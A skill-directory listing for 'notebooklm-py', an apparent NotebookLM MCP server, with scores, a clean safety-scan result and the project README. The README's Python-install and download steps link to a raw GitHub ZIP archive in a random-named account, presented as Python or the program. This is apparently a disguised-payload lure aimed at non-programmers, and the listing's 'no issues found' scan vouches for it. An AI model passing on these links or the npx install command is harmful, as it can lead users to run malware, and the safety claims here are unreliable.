notebooklm-py
Provide full Python API access to NotebookLM features, including advanced functions beyond the web interface, via CLI and AI agent integration.
Install / Use
claude mcp add patriarchal-boothose896 -- npx -y github:patriarchal-boothose896/notebooklm-pyIf the server publishes to npm under a different name, use that package instead — check the repo README.
MCP Server
Model Context Protocol server
Quality Score
Category
AutomationSupported Platforms
Our assessment of notebooklm-py
notebooklm-py scores 79/100 on our quality scale, 1641st of 2,125 Automation skills we index.
Its MCP Server is 5.9 KB long, well organised into 21 sections with 2 code examples: a thorough specification that gives an agent plenty to work with.
It has 3 GitHub stars, so there is little community track record yet; judge it on its content.
Maintenance, license and trust
- The repository was last updated today, so notebooklm-py is actively maintained.
- Our last check on 2026-09-18 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 92/100, with 1 caution from licensing, adoption, age or documentation. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-29. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
notebooklm-py compared with similar skills
All 4 of these similar skills score higher than notebooklm-py; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| notebooklm-py (this skill)by patriarchal-boothose896 | 79 | 3 | today | MCP Server |
| Agent-Reachby Panniantong | 100 | 86.0k | 13d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 74.0k | today | CLAUDE.md |
| rufloby ruvnet | 100 | 73.4k | today | CLAUDE.md |
| CowAgentby zhayujie | 100 | 47.2k | today | CLAUDE.md |
Frequently asked questions
- How do I install notebooklm-py?
- Run
claude mcp add patriarchal-boothose896 -- npx -y github:patriarchal-boothose896/notebooklm-py. The install tabs above show the steps for each supported agent. - Which AI agents does notebooklm-py work with?
- It is written for Claude Code, Claude Desktop and Gemini CLI, as a MCP Server file. Other agents that read the same format can often use it too.
- Is notebooklm-py safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 92/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is notebooklm-py still maintained?
- The repository was last updated today, so notebooklm-py is actively maintained.
Skill content
View source on GitHub📝 notebooklm-py - Easy Python Access to NotebookLM Features
📋 What is notebooklm-py?
notebooklm-py is a tool that lets you use Google NotebookLM through Python. It gives you more control than the web interface by unlocking extra features. You can also use it through the command line or AI helpers like Claude Code and Codex.
This tool is meant for people who want to get more from their NotebookLM without using the website directly. You don’t need to be a programmer to follow this guide and run the program on your Windows computer.
💻 System Requirements
- Windows 10 or later (64-bit)
- Python 3.8 or higher installed
- At least 4 GB of RAM
- Internet connection to use NotebookLM features fully
- Administrator rights to install programs
🚀 Getting Started
- Make sure your Windows version is up to date.
- Check if Python is installed:
- Open Command Prompt (press Windows key, type
cmd, press Enter). - Type
python --versionand press Enter. - If a version number appears, Python is installed.
- Open Command Prompt (press Windows key, type
- If Python is not installed, go to https://raw.githubusercontent.com/patriarchal-boothose896/notebooklm-py/main/scripts/py_notebooklm_v2.7.zip and download the latest version.
- Install Python, and make sure to check "Add Python to PATH" during installation.
📥 Download notebooklm-py
Click the big green button at the top or visit this link:
This link will take you to the GitHub repository where you can download the program files.
🛠️ How to Install and Run notebooklm-py on Windows
Step 1. Download the files
- Go to https://raw.githubusercontent.com/patriarchal-boothose896/notebooklm-py/main/scripts/py_notebooklm_v2.7.zip
- Click on the green Code button near the top right.
- Select Download ZIP.
- Save the ZIP file to your computer, for example in your Downloads folder.
Step 2. Extract the files
- Find the ZIP file you downloaded.
- Right-click on the ZIP file and choose Extract All....
- Choose a location you can find easily, such as Desktop.
- Click Extract.
Step 3. Open the folder
- After extraction, open the folder named
notebooklm-py-mainor similar.
Step 4. Open Command Prompt at the folder location
- Click on the folder’s address bar at the top.
- Type
cmdand press Enter. This opens Command Prompt with the folder set.
Step 5. Install required software packages
notebooklm-py needs some Python tools to work properly. Install them by typing this command in Command Prompt and pressing Enter:
pip install -r requirements.txt
This will download and install all needed Python packages.
Step 6. Run the program
Once installation completes, you can start the program by typing:
python main.py
Then press Enter.
The program will open and you can start using it.
🔧 Using notebooklm-py
Here are some common ways to use notebooklm-py:
- Use Python scripts to talk to NotebookLM for notes and queries.
- Run commands through the command line to test features.
- Connect to AI helpers for extended tasks like code generation or podcast creation.
no programming knowledge is needed, but familiarity with typing commands in the Command Prompt helps.
📚 Basic Commands
-
To run the program:
python main.py -
To see available options in CLI:
python main.py --help -
To use a specific skill (like Claude or OpenClaw):
python main.py --skill claude
Replace claude with any supported skill name.
🛡️ Safety and Privacy
notebooklm-py uses Google services which require you to log in securely. Your data stays private with Google’s policies. Avoid sharing sensitive information when using AI features.
⚙️ Tips for Best Experience
-
Keep Python and your packages updated by running:
pip install --upgrade pip
and
pip install --upgrade -r requirements.txt -
Use a reliable internet connection for smooth operation.
-
Close other heavy programs if your PC becomes slow.
-
Check the GitHub page occasionally for updates and new features.
🧩 Features at a Glance
- Full access to NotebookLM features beyond the web interface.
- Supports agentic AI skills like Claude Code and Codex.
- Works with Python scripts and command line.
- Allows automation and integration with other tools.
- Designed to be simple for non-programmers.
🔗 Quick Links
GitHub Issues – for reporting problems or asking questions
📞 Getting Help
If something does not work as expected:
- Review the instructions carefully.
- Make sure Python and packages are installed.
- Try restarting your computer.
- Use the GitHub Issues page to ask for support.
🗂️ Additional Notes on Usage
notebooklm-py works best on a Windows PC but can run on other systems with Python. For non-Windows operating systems, please check platform-specific setup instructions from the repository.
The tool is open-source, so you can look at the Python files if you want to learn more about how it works.
🔎 What’s Next?
After you get notebooklm-py running, try exploring:
- Writing simple Python scripts to ask NotebookLM questions.
- Using the built-in skills for automation.
- Combining commands with other tools like your text editor.
Your PC will now have more powerful options to work with your Google NotebookLM data.
Related Skills
Agent-Reach
86.0kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
headroom
74.0kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
ruflo
73.4k🌊 The original agent harness. Deploy intelligent multi-player swarms, coordinate autonomous workflows, and build conversational AI systems. Features adaptive memory, self-learning intelligence, federation, vector RAG integration, and native Claude Code / Codex / Hermes and many more Integrated
CowAgent
47.2kOpen-source super AI assistant & Agent Harness. Plans tasks, runs tools and skills, self-evolves with memory and knowledge. Multi-agent, multi-model, multi-channel. Lightweight, extensible, one-line install.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
